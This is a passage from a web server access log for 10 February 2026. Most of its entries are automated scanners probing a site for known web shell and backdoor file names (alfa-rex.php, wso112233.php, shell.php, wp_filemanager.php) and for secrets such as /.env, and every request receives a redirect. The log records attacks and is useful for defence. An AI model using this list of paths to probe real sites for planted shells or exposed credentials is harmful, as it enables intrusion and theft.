Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 74.7.243.248 - - [10/Feb/2026:03:25:59 +0300] "GET / HTTP/1.1" 301 795 "http://mail.taxies.biz" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 91.215.85.12 - - [10/Feb/2026:03:54:24 +0300] "GET //.env HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 4.204.203.210 - - [10/Feb/2026:04:17:22 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 113.88.74.111 - - [10/Feb/2026:03:45:43 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3002.97 Safari/537.36" 43.130.71.237 - - [10/Feb/2026:04:50:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.78.203 - - [10/Feb/2026:05:48:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 72.11.155.223 - - [10/Feb/2026:06:02:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15" 3.85.28.0 - - [10/Feb/2026:06:01:07 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 3.85.28.0 - - [10/Feb/2026:06:09:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.110.243.199 - - [10/Feb/2026:06:47:33 +0300] "GET /file6.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:48:56 +0300] "GET /faq.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:49:27 +0300] "GET /json.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:49:51 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:50:14 +0300] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:53:58 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:55:38 +0300] "GET /update.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:56:22 +0300] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:56:47 +0300] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:01:03 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.62.114.0 - - [10/Feb/2026:07:54:56 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 20.62.114.0 - - [10/Feb/2026:07:54:59 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 20.62.114.0 - - [10/Feb/2026:07:55:09 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:47:06 +0300] "GET /file3.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:47:39 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:48:38 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:50:55 +0300] "GET /parx.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:52:55 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:54:30 +0300] "GET /include.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:56:05 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:57:18 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:57:46 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:58:11 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 20.62.114.0 - - [10/Feb/2026:07:54:45 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.62.114.0 - - [10/Feb/2026:07:54:48 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.62.114.0 - - [10/Feb/2026:07:55:36 +0300] "GET /past1.php HTTP/1.1" 301 795 "-" "-" 20.62.114.0 - - [10/Feb/2026:07:55:41 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 20.62.114.0 - - [10/Feb/2026:07:55:56 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:49:35 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:51:19 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:52:03 +0300] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:59:22 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:59:42 +0300] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:00:36 +0300] "GET /dialog.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:00:57 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:01:40 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:01:44 +0300] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 34.142.251.255 - - [10/Feb/2026:07:23:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 20.110.243.199 - - [10/Feb/2026:06:47:24 +0300] "GET /law.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:47:48 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:48:22 +0300] "GET /CLA.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:49:11 +0300] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:49:59 +0300] "GET /rk2.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:51:29 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:52:14 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:52:34 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:53:31 +0300] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:58:26 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:00:47 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:01:54 +0300] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:01:57 +0300] "GET /engine.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:02:01 +0300] "GET /Cache.php HTTP/1.1" 301 795 "-" "-" 20.62.114.0 - - [10/Feb/2026:07:55:20 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.62.114.0 - - [10/Feb/2026:07:55:45 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 20.62.114.0 - - [10/Feb/2026:07:55:48 +0300] "GET /bk.php HTTP/1.1" 301 795 "-" "-" 20.62.114.0 - - [10/Feb/2026:07:55:51 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:46:58 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:49:20 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:50:26 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:50:29 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:51:38 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:52:27 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:54:14 +0300] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:54:24 +0300] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:54:54 +0300] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:57:36 +0300] "GET /ki1k.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:58:04 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:58:34 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:59:50 +0300] "GET /wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:00:11 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:00:15 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:00:19 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:00:27 +0300] "GET /media.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:01:11 +0300] "GET /.info.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:01:31 +0300] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:47:16 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:48:45 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:48:49 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:49:04 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:49:45 +0300] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:54:47 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:55:24 +0300] "GET /zmFM.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:56:10 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:57:01 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:57:12 +0300] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:57:51 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:59:12 +0300] "GET /taptap-null.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:59:16 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:01:23 +0300] "GET /rnEPv9.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:02:06 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 43.140.247.223 - - [10/Feb/2026:06:39:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.110.243.199 - - [10/Feb/2026:06:47:53 +0300] "GET /file4.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:47:56 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:48:07 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:48:14 +0300] "GET /dejavu.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:48:32 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:51:03 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:51:06 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:52:43 +0300] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:55:09 +0300] "GET /esyfvxgmdq.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:56:29 +0300] "GET /twenty.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:57:57 +0300] "GET /423_index.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:59:02 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:50:40 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:50:45 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:51:52 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:53:05 +0300] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:53:19 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:53:42 +0300] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:53:42 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:55:52 +0300] "GET /alfa-rex2.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:58:50 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:59:29 +0300] "GET /users.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:06:59:57 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [10/Feb/2026:07:00:00 +0300] "GET /muse.php HTTP/1.1" 301 795 "-" "-" 20.62.114.0 - - [10/Feb/2026:07:55:29 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 158.94.209.221 - - [10/Feb/2026:09:27:31 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0" 20.238.51.51 - - [10/Feb/2026:09:48:22 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 130.12.181.143 - - [10/Feb/2026:10:42:55 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15" 43.130.3.122 - - [10/Feb/2026:10:41:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.220.144.75 - - [10/Feb/2026:10:37:02 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 65.20.237.105 - - [10/Feb/2026:12:21:04 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.157.175.122 - - [10/Feb/2026:11:45:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.86.26.201 - - [10/Feb/2026:11:48:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 54.86.26.201 - - [10/Feb/2026:11:48:56 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 68.221.72.62 - - [10/Feb/2026:11:16:19 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 74.225.153.249 - - [10/Feb/2026:12:05:41 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:52:07 +0300] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:52:23 +0300] "GET /ioxi-o1.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:53:28 +0300] "GET /gifclass4.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:53:32 +0300] "GET /2clas.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:53:54 +0300] "GET /wrt.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:56:57 +0300] "GET /xaz.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:57:01 +0300] "GET /up4.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:57:46 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:50:24 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:50:27 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:51:24 +0300] "GET /wp-content/themes/twentytwentytwo/index.php?p= HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:51:28 +0300] "GET /.well-known/log.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:51:47 +0300] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:52:47 +0300] "GET /we2.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:54:42 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:54:53 +0300] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:55:03 +0300] "GET /nox.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:55:19 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:55:42 +0300] "GET /class9.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:55:54 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:55:58 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:57:39 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:49:33 +0300] "GET /security.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:51:08 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:52:31 +0300] "GET /juuuu.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:54:04 +0300] "GET /bibil.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:57:09 +0300] "GET /1aa.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:57:11 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:57:32 +0300] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:50:47 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:51:36 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:52:40 +0300] "GET /ha.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:55:32 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:56:52 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:49:23 +0300] "GET /css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:49:40 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:49:58 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:53:18 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:54:30 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:56:09 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:51:53 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:52:52 +0300] "GET /04.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:54:16 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:56:02 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:56:21 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:56:30 +0300] "GET /ac.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:57:18 +0300] "GET /wtz.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:57:22 +0300] "GET /galex.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:57:27 +0300] "GET /xb.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:50:12 +0300] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:50:41 +0300] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:53:04 +0300] "GET /520.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:53:08 +0300] "GET /ar.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:53:12 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:54:22 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:55:48 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:49:08 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:50:55 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:52:57 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:53:44 +0300] "GET /ave.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:56:41 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 51.107.70.241 - - [10/Feb/2026:12:56:46 +0300] "GET /pop.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [10/Feb/2026:13:08:47 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [10/Feb/2026:13:08:48 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [10/Feb/2026:13:07:21 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [10/Feb/2026:13:07:22 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [10/Feb/2026:13:07:38 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [10/Feb/2026:13:08:13 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [10/Feb/2026:13:08:23 +0300] "GET /past1.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [10/Feb/2026:13:08:27 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [10/Feb/2026:13:07:53 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 43.138.68.113 - - [10/Feb/2026:13:09:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.2.11 - - [10/Feb/2026:13:08:33 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [10/Feb/2026:13:08:37 +0300] "GET /bk.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [10/Feb/2026:13:07:59 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.151.2.11 - - [10/Feb/2026:13:08:00 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 17.241.219.174 - - [10/Feb/2026:13:24:34 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.219.174 - - [10/Feb/2026:13:24:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 104.243.245.7 - - [10/Feb/2026:13:50:53 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:50:54 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:50:54 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:50:54 +0300] "GET 